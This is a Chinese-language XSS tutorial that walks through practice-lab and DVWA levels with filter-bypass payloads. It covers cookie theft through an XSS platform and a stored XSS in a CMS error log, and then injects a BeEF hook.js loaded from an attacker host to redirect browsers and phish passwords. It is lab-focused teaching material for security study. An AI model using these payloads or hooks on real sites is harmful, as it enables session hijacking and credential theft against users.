XSS跨站脚本攻击

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

内容 隐藏
3 靶场练习

什么是XSS?

XSS我个人的理解是前端代码注入——用户输入的数据被当做前端代码执行

前端代码:构建网页的代码

HTML:构成网页的基础和骨架
CSS:美丽的化妆师(美化页面)
Javascript:可以操纵浏览器/动画
XSS的核心是执行JS代码

注入攻击的本质,是把用户输入的数据当做代码执行。

正常情况后端与前端的关系

后端处理数据(目标服务器上执行)
前端主要是一个显示(客户端浏览器)

前端代码执行是在用户个人浏览器上执行,所以如果存在前端代码注入,此时如果后端服务器将我们写的恶意语句过滤了;或者允许写入恶意语句,但是会将其删除,这都会使得xss无效。所以需要正常写入,也需要正常输出。

关键条件

  • 第一个是用户能够控制输入
  • 第二个是原本程序要执行的代码,拼接了用户输入的数据

那么XSS主要拼接的是什么?

SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:xss就是拼接恶意的HTML)

xss的功能

盗取Cookie(用的最频繁的)

获取内网ip

获取浏览器保存的明文密码

截取网页屏幕

网页上的键盘记录

xss分类

反射型XSS (你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击)

存储型XSS (你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发)

DOM型XSS(不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。)

JS代码触发方法

标签法

<script></script>之间的内容都会被当做JS代码来执行

<script>alert(1)</script>

alert(1):表示JS代码里面的弹窗,其中“1”就是弹出的内容

伪协议法

小众协议叫做伪协议(看起来像是假的协议,我一度以为是钓鱼网站。也可以理解为自定义协议):

  • weishi://
  • weixin://

  • javascript:

    javascript:伪协议的使用
    <a href=javascript:alert(1)>123</a>
    
    <a>:a连接,可以理解为超链接
    href:指定连接的地址,正常是一个URL,我们这里使用javascript伪协议
    123:就是我们通过点击这个按钮来触发超链接
    

事件触发法

on 专门表示事件的东西(事件加在标签里面的)

<img src='¥#¥#' onerror=alert(888) /> 

img标签:加载图片
src:指定照片地址
onerror:事件用于加载失败时候的弹窗

有哪些事件

https://www.w3school.com.cn/jsref/jsref_events.asp

靶场练习

靶场一

观察靶场

1658126365174

观察靶场,发现了GET传参name,传参的值在页面上直接显示了处理,同时在payload处有传参获取的值的长度

传递JS语句

?name=<script>alert('test')</script>

1658126576997

成功

靶场二

完成靶场一会自动跳转到靶场二

观察靶场二

1658126912772

看起来与靶场一差不多,只不过多了一个输入栏和搜索按钮

直接传递JS语句

1658126855940

这次直接执行没有成功了

查看源码

功能分析
从源码来看,它的功能就是通过点击“搜索”按钮,将输入框内的内容以get方式提交给服务器上的level2.php
经过服务器的动态处理之后又会将参数keyword的值插入到<h2> </h2>标签之中以及添加到<input>标签中的value属性的值内。

1658127186670

1658127445641

可以看到在<h2> </h2>标签之中的恶意代码被编码了。
插入到value参数值中的恶意代码并没有被编码而是直接原样返回但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。

尝试闭合标签

"><script>alert('test')</script>//
通过">将value进行闭合
通过//将">注释

1658127839346

靶场三

完成靶场二会自动跳转到靶场三

观察靶场三

1658128473031

看着和靶场二很像

直接传递JS语句

1658128541128

也是出现了报错

查看源码

1658128581796

可以看到在<h2> </h2>标签之中的恶意代码被编码了。
插入到value参数值中的恶意代码也被编码

构造onclick事件

onclick 事件会在元素被点击时发生。

onclick=alert(1)

<input name=keyword  value=''>  
前闭合,后注释:'onclick=alert(1) >//

发送构建的事件

1658130996483

点击触发事件

1658130958117

执行成功

1658130818707

靶场四

直接传递JS语句

1658131549613

报错,同时发现我们输入的尖括号,都不见了

查看源码

1658131640832

h2处被编码,input处直接删除了尖括号。但是事件触发器不会使用尖括号,直接使用onclick事件

发送事件

"onclick=alert("test")//

1658131855840

点击触发事件

1658131889468

执行成功

1658131907163

靶场五

直接传递JS语句

1658132112516

出现报错,第一个script中间出现了一个下划线

查看源码

1658132069906

尝试事件语句

1658132291100

也失败了

1658132313595

查看源码

1658132469139

发现这里也被添加了下划线

新增标签

此处既然无法通过<script>标签或触发事件来执行js代码的话,那么可以尝试换一个标签来执行js代码。

使用href标签

href 属性规定链接的目标地址,正常来说是指定一个URL,但是我们这里在后面加一句JS代码,使其进行代码的执行而非页面的跳转

"> <a href=javascript:alert('test')>test</a>//

1658132692162

点击新标签

1658132676763

执行成功

1658132658317

靶场六

直接传递JS语句

1658193694718

查看源码

1658193728093

上被编码,下被加下划线,和上一题类似

新增标签

1658193963946

发现我们创建的标签无法点击~~

查看源码

1658194129688

这不G了???这也给我加下换线,还能不能愉快的玩耍了

尝试大小写

咱也是绕过黑名单的,熟练切换大小写,来试试

"> <a HrEf=javascript:alert('xss')>xss</a>//

1658194340042

感觉好像对了,标签蓝了

点击标签

1658194411143

执行成功!

靶场七

直接传递JS语句

1658194886775

报错一点都不意外,但是这个script不见了是什么鬼

查看源码

1658194966421

上编码,下删除script

使用事件

1658195106210

貌似也是不行

查看源码

1658195161799

??on被过滤了??

新增标签

1658195360880

查看源码

1658195397779

href和script都被过滤了,很明显是有正则匹配删除的,想到了文件上传的双写绕过和大小写绕过了

双写绕过

"><scscriptript>alert('xss')</scscriptript>//

1658195662288

nice~,大小写绕过你们可以自己试试

靶场八

直接传递JS语句

1658195940917

查看源码

1658195985652

发现我们输入的内容,出现了两次
一个会插入到<input>标签的value属性值中,尖括号被转义了
一个会插入到下方<a>标签的href属性值中,script中被加了下划线

创建事件

1658196341493

查看源码

1658196375156

用来闭合的双引号呗编码了,onclick事件被下划线破坏了

大小写绕过也无效,这可怎么办,想想文件上传好像没有什么好的办法了。既然会将我输入的内容进行编码,那我是否可以以毒攻毒直接对齐进行编码, 使其不被过滤呢?

有解码功能才可以使用编码,如果抓包发现内容被编码了,说明肯定有解码功能,所以可以试试是否可以编码绕过

进行编码

Unicode:javascript:alert('xss')
ASCII:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;(&#39;&#120;&#115;&#115;&#39;)

1658197034231

1658197003692

点击标签

1658196984110

执行成功

1658196925330

靶场九

看起来和上面的很相

直接上传ASCII编码

1658197354261

1658197384829

一点也不意外的报错了

查看源码

1658197598969

提交的参数值插入到了标签的value属性值中
但是在<a>标签的href属性中却并没有出现该参数值,
而是显示的 "您的链接不合法?有没有!"这样的字符串。
猜测这里可能对url地址做了匹配。
只有包含正常的url地址才能添加到href属性值中

构造有URL地址的恶意代码

javascript:alert('xss')http://www.baidu.com

1658197709400

查看源码

1658197757734

又是下划线!!

结合编码与正常的URL

既然javascript关键字你给我加了下划线我就给javascript进行编码

Unicode:javascript:alert('xss')http://www.baidu.com
ASCII:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;(&#39;&#120;&#115;&#115;&#39;)//http://www.baidu.com

注意ASCII编码与正常的URL之间需要加上两条斜杠(//)否则成功写入但是无法跳出弹窗

点击标签

1658198189207

执行成功

靶场十

返璞归真?怎么看着和靶场一很像呢?

直接传递JS语句

1658198412851

查看源码

不出任何意外的报错了,查看一下源码

1658198978340

在源码中有一个隐藏的表单。
其中含有t_link t_history t_sort这样三个隐藏的<input>标签
这里有三个<input>标签的话,也就意味着是三个参数看看哪一个标签能够被突破

寻找突破口

<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

1658199330551

发现页面好像不太一样了

查看源码

1658199373329

从页面响应来看,有一个<input>标签的状态可以被改变。这个标签就是名为t_sort的<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。
因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。

构造事件

<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

1658199892111

触发事件

1658199836232

执行成功

靶场十一

看着和上面的差不多

直接使用上面的语句

1658200188478

失败不意外,看看源码去

查看源码

1658200250963

可以看到如同第十关一样有隐藏的表单
不同的是多了一个名为t_ref的<input>标签。
发现其实t_sort仍然是接受参数值的,但是里面的双引号被编码了这样浏览器只能正常显示字符但是却无法起到闭合的作用了。

进行抓包

可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上

1658201448537

发现referer的值会赋给t_ref

构造代码

referer:" type="text" onclick="alert('xss')

第一个双引号用于闭合value=",onclick="这里的双引号用于闭合最后自动生成的一个双引号

1658201798325

回到proxy模块进行,添加代码放行网页

触发事件

1658201366124

执行成功

靶场十二

不试了,试了反正也是错,直接看源码了

查看源码

1658202011395

这个看着是不是很眼熟?像不像User-Agent字段的值?

抓包

1658202241253

一毛一样

构建恶意代码

User-Agent:" type="text" onclick="alert('xss')

1658202447573

看着好像没什么问题, 在proxy模块中修改放行

1658202532852

触发事件

1658202588441

执行成功

1658202606254

靶场十三

查看源码

1658202772024

看着好像没有什么,抓包试试

抓包

1658202849788

发现t_cook的值是cookie字段的内容

构建恶意代码

" type="text" onclick="alert('xss')

1658203041634

看着好像没什么问题,返回proxy模块修改放行

1658203105982

触发事件

1658203189333

执行成功

1658203172317

靶场十四

没有办法正常载入,就不管了,直接十五题

靶场十五

1658204867952

传参为src上传了一张照片

查看源码

1658204955103

我们提交的参数src的值被插入到了<span>标签的class属性值中,前面还有ng-include这样的字符。
ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。

ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:
    ng-include,如果单纯指定地址,必须要加引号
    ng-include,加载外部html,script标签中的内容不执行
    ng-include,加载外部html中含有style标签样式可以识别

文件包含

看到这里是不是想到了我们的文件包含漏洞,不管执行什么后缀的文件都是当做php来执行,那么这里是不是也可以包含一个之前成功攻陷的靶场的文件,然后攻击那个靶场就可以了呢?

?src='level1.php?name=<img src=1 onerror=alert("xss")>'

说明:
这里参数值算是一个地址,所以需要添加引号
具体内容为包含level1.php文件,name为添加图片,图片地址为1,如果加载图片时发生错误执行Javascript语句

执行代码

1658205992915

直接弹出成功提示信息

靶场十六

查看源码

1658206995840

看着还是挺正常的

上传基本弹窗代码

1658207237887

报错不意外。查看下源码

查看源码

1658207213777

好家伙,script和“/”直接改写为“&nbsp;”

添加标签

<img src=1 onerror=alert("xss")>

1658207516061

还是失败?

查看源码

1658207549402

好狠,空格你都给我转换了##

构造语句

既然事件里你不让我有空格,那我是不是可以用回车来将它们分开为多行呢?

<img
src="111"
onerror=alert('xss')
>

回车可以用url编码格式%0a来表示

写入内容:<img%0asrc="111"%0aonerror=alert('xss')%0a>

1658207799260

反射型XSS

通过给别人发送带有恶意脚本代码参数的url,当url地址被打开时,特有的恶意代码参数别html解析,执行。特点是非持久化,也不存入网站服务器中。

缺点:

  • 必须用户点击带有特定恶意脚本代码参数的链接才能执行
  • 恶意代码存放在url中,只有用户在点击恶意链接的时候才会执行恶意代码,所以它的隐蔽性很差,可以直观的看到访问了怎样的站点,当然不了解的,也不容易看出来。

存储性XSS

最直接的危害类型,跨站代码存储在服务器(数据库)。

攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

靶场练习

使用DVWA靶场中的存储型靶场,使用low级别

message处写入JS语句

1658287714805

1658287727111

此时无法判断是反射型xss,还是存储型xss,通过数据库进行查看

1658287822984

确认了,确实是存储型xss

觉得没什么危害我们可以获取一下cookie

XSS平台的使用

搜索xss平台

直接网上搜索xss平台,会有很多,自行选择,我这边使用的是此平台

https://xssaq.com/

注册账号

1658288486076

1658288539660

创建项目

1658288630044

1658288654457

有很多模块可以选择,我这里直接使用基础默认模块

1658288700572

点击下一步就会出现很多JS语句进行使用

1658288742203

窃取cookie

1658289205182

1658289271429

在XSS平台上成功获取到cookie

使用cookie

注意:cookie只能在同源网站下才能使用

1658289474659

成功访问

1658289494606

CMS漏洞

CMS安装

文件上传至根目录
注意:此CMS需要放在根目录下,不能放在子目录下

1658280524052

phpstudy设置
选择此版本

1658218141891

勾选允许目录列表

注意勾选此选项,如果不勾选直接访问会报错403

1658218077512

访问install.php

1658280641235

开始安装

1658280660559

如果全部为绿勾,点击下一步

1658280700902

1658280770950

1658280788190

登录后台

默认用户名和密码都是admin

1658280942167

漏洞复现

漏洞原理:

通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。

漏洞poc:
http://ip:port/index.php?c=mail&m=test

本地复现
换个浏览器不登录做为游客访问http://192.168.239.254/index.php?c=mail&m=test<script>alert("xss")</script>

1658281323343

出现弹窗

管理员查看日志

1658281357824

也出现弹窗,即为存储性xss

服务器查看错误日志

路径:C:\phpStudy\PHPTutorial\WWW/cache/errorlog/log-2022-07-20.php

1658282011344

很明显可以看到JS语句并没有被过滤掉,所以管理员在查看错误日志的时候会出现弹窗

cookie防护

Cookie可以有防护: 可以让别人XSS打不到
http-only 防止XSS获取Cookie,禁止Js去读取存在http-only的cookie,http-only 网站决定 自己也可以去设定

同源策略

同源策略是一个重要的安全策略,它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介。

同源的定义

如果两个 URL 的 protocol、port (en-US)(如果有指定的话) 和 host 都相同的话,则这两个 URL 是同源。这个方案也被称为“协议/主机/端口元组”,或者直接是 “元组”。(“元组” 是指一组项目构成的整体,双重/三重/四重/五重/等的通用形式)。

下表给出了与 URL http://test.company.com/dir/page.html 的源进行对比的示例:

URL 结果 原因
http://test.company.com/dir2/other.html 同源 只有路径不同
http://test.company.com/dir/inner/another.html 同源 只有路径不同
https://test.company.com/secure.html 失败 协议不同
http://test.company.com:81/dir/etc.html 失败 端口不同 ( http:// 默认端口是 80)
http://news.company.com/dir/other.html 失败 主机不同

DOM型XSS

DOM—based XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。通过Js去对网页进行修改,变化执行

DOM有三种对象

  • document:操控网页
  • location:返回主机信息
  • windows:表示浏览器中打开的窗口

Document 对象

Document => 接口(通信的渠道)
程序和脚本语言可以通过dom接口来修改前端页面显示

Document 对象使我们可以从脚本中对 HTML页面中的所有元素进行访问。

1658296978899

Document的存在可以让浏览器获取网页信息

然后用Js来填充来节约服务器性能(因为前端代码都在客户浏览器上面执行,和服务器无关)

常用document对象

document.cookie         读取当前网页的Cookie               [xss必备]
document.lastModified   获得当前页面的最后修改时间           [识别伪静态必备]
document.write          向文档中写文HTML或者JS代码          [Dom xss常见的存在方式]

随便找个页面试试write对象属性的作用

1658297496130

不管原始页面的内容是什么,反正现在显示的是123,是我们在document.write()中设置的值

常见漏洞分析

document.write()

<script>
var pos=document.URL.indexOf("name=")+5;  //获取URL中首次出现name=出现的位置,再加5
var username = unescape(document.URL.substring(pos,document.URL.length)); //取name=后面的值
var r='<b>'+username+'</b>'
document.write(r);          //写name=后面的值
</script>

如果不知道函数的作用,可以百度一下或者执行一下

1658299013817

1658299085297

所以此段代码的作用就是将name=后面的内容过滤出来然后输出,那么我们如果在name=后面写入弹窗,进行XSS攻击会怎么样呢?

1658299291135

这就是最最经典的DOM攻击,虽然我们只是使用这一小段代码,但是这是很多网页源码中的一部分,有时候我们在网页上输入的内容,就是被document.wirte所读取的,所以我们可以查看源码中是否存在此语句,如果有就可以尝试是否存在DOM型XSS

innerHTML

<div id='test'>heihei</div>     //设置一个标签test,值为heihei
<input type="button" onclick=fun() value="点击有惊喜">   //有一个按钮,会触发事件onclick
<script>
    function fun(){             //事件具体执行的内容
    var url=unescape(document.URL);         //获取URL,对其解码
    var pos=url.indexOf("name=")+5;         //获取URL中首次出现name=出现的位置,再加5
    document.getElementById("test").innerHTML="Hi,<b>"+url.substring(pos,url.length)+'</b>';}   //选中标签test,读取其信息,然后修改为Hi,name=后面的内容
</script>

这里直接使用标签法无法正常弹窗,使用事件触发

1658300602034

eval

</h1>Hello World</h1>
<script>
    var a =location.hash.substr(1);     //获取锚点(#)后面的内容
    eval(a);   // 把#后面的值当做代码执行
</script>

说明:
eval是高危函数。 把字符串当做代码进行执行
location对象中的hash属性表示:设置或返回从井号 (#) 开始的 URL(锚)。

1658304314499

坑:同学们直接输入alert(1)看看是否会出弹窗

点击查看

因为锚点后的内容变化不会刷新页面,所以你直接回车是没有用的,要成刷新页面,要么重新打开一个网页

靶场演练

DVWA中Low

正常运行

1658364836415

点击select之后,前面框里内容就是default传参的值

查看源码

1658365087731

标签法写入语句
?default=<script>alert(1)</script>

出现弹窗

1658364813225

DVWA中Medium

标签法写入语句

1658365990280

直接跳转回?default=English

查看源码

1658366182348

前端源码的内容一样的,那就肯定是有后端的过滤了,试试常用的绕过方式

构造事件语句
?default=</option></select><img src=EE onerror=alert(1)>

由于select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS

出现弹窗

1658365814522

DVWA中High

事件语句写入

1658366410352

直接跳转回?default=English页面

查看源码

1658366460336

依旧是没有变换,肯定又是后端过滤了

尝试绕过

试了多种方式比如双写,大小写等都不行,查看一下他的过滤规则

1658366621022

好家伙白名单,只能出现这几个值

白名单绕过

还记得之前的坑吗?如果有井号那么不会触发页面的刷新,不会传给后端,那么我们是不是可以通过井号来绕过白名单呢?

English#</option></select><img src=1 onerror=alert(1)>

1658366772727

成功绕过

beef工具的使用

简介

BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。

BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

Beef-xss是对xss漏洞的最大化利用,直接获取对方系统信息以及作为社会工程学工具进行利用

下载

┌──(root㉿kali)-[~]
└─# apt install -y beef-xss

设置

┌──(root㉿kali)-[~]
└─# cd /usr/share/beef-xss          

┌──(root㉿kali)-[/usr/share/beef-xss]
└─# ls              
arerules  beef_cert.pem  config.yaml  db          Gemfile  set-new-pass.rb  update-geoipdb
beef      beef_key.pem   core         extensions  modules  tools

                                                                                         #修改配置文件
┌──(root㉿kali)-[/usr/share/beef-xss]
└─# vim config.yaml 
user:   "admin"                 #用户名
passwd: "Huawei@123"            #密码

host: "192.168.239.132"         #主机


#启动服务器
┌──(root㉿kali)-[/usr/share/beef-xss]
└─# systemctl start beef-xss.service

使用

获取URL和钩子

┌──(root㉿kali)-[/usr/share/beef-xss]
└─# ./beef
[23:13:07][*] Browser Exploitation Framework (BeEF) 0.5.4.0-pre
[23:13:07]    |   Twit: @beefproject
[23:13:07]    |   Site: https://beefproject.com
[23:13:07]    |   Blog: http://blog.beefproject.com
[23:13:07]    |_  Wiki: https://github.com/beefproject/beef/wiki
[23:13:07][*] Project Creator: Wade Alcorn (@WadeAlcorn)
-- migration_context()
   -> 0.0059s
[23:13:07][*] BeEF is loading. Wait a few seconds...
[23:13:07][!] [AdminUI] Error: Could not minify JavaScript file: web_ui_all
[23:13:07]    |_  [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
[23:13:07][!] [AdminUI] Error: Could not minify JavaScript file: web_ui_auth
[23:13:07]    |_  [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
[23:13:07][*] 8 extensions enabled:
[23:13:07]    |   Events
[23:13:07]    |   Admin UI
[23:13:07]    |   Social Engineering
[23:13:07]    |   Network
[23:13:07]    |   Proxy
[23:13:07]    |   Requester
[23:13:07]    |   XSSRays
[23:13:07]    |_  Demos
[23:13:07][*] 306 modules enabled.
[23:13:07][*] 1 network interfaces were detected.
[23:13:07][*] running on network interface: 192.168.239.132
[23:13:07]    |   Hook URL: http://192.168.239.132:3000/hook.js     #钩子
[23:13:07]    |_  UI URL:   http://192.168.239.132:3000/ui/panel    #URL
[23:13:07][*] RESTful API key: bdf0935c5e45bf31eec9042372361ef6294793fd
[23:13:07][!] [GeoIP] Could not find MaxMind GeoIP database: '/var/lib/GeoIP/GeoLite2-City.mmdb'
[23:13:07]    |_  Run geoipupdate to install
[23:13:07][*] HTTP Proxy: http://127.0.0.1:6789
[23:13:07][*] BeEF server started (press control+c to stop)
[23:13:07][!] Another process is already listening on port 3000, or you're trying to bind BeEF to an invalid IP.
[23:13:07][!] Is BeEF already running? Exiting...

#说明
URL用于登录beef
钩子用于让别人访问进行xss攻击

登录

1658373350567

1658373503752

开始搞事

使用存储型XSS的CMS

通过存储型XSS上传钩子
http://192.168.239.254/index.php?c=mail&m=test<script src=http://192.168.239.132:3000/hook.js></script>

本地访问

1658373819771

只要访问了钩子连接都会在beef上显示

服务器端查看日志

1658373887936

beef上查看在线用户

1658373903951

本地,和服务器都在了

将本地浏览器关闭

1658374136783

用户下线

双击用户
获取大量的用户信息

1658374214302

常用模块
Details是浏览器信息详情
Logs能记录你在浏览器上的操作,点击,输入操作都能记录
Commands是你能对该浏览器进行哪些操作

执行功能

这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的是每个功能分类里面的个数

我们随便点开一个看看, 发现有四种颜色的功能。

  • 绿色的代表该功能有效,并且执行不会被用户所发现
  • 橙色的代表该功能有效,但是执行会被用户所发现
  • 白色的代表该功能不确定是否有效
  • 红色的代表该功能无效

1658374269319

1658374328803

1658374385868

网页重定向

1658374735984

1658374804743

获取密码

1658375025308

浏览器上出现弹窗,如果管理员输入了用户密码

1658375083725

1658375131683

成功获取到了用户名和密码

留下评论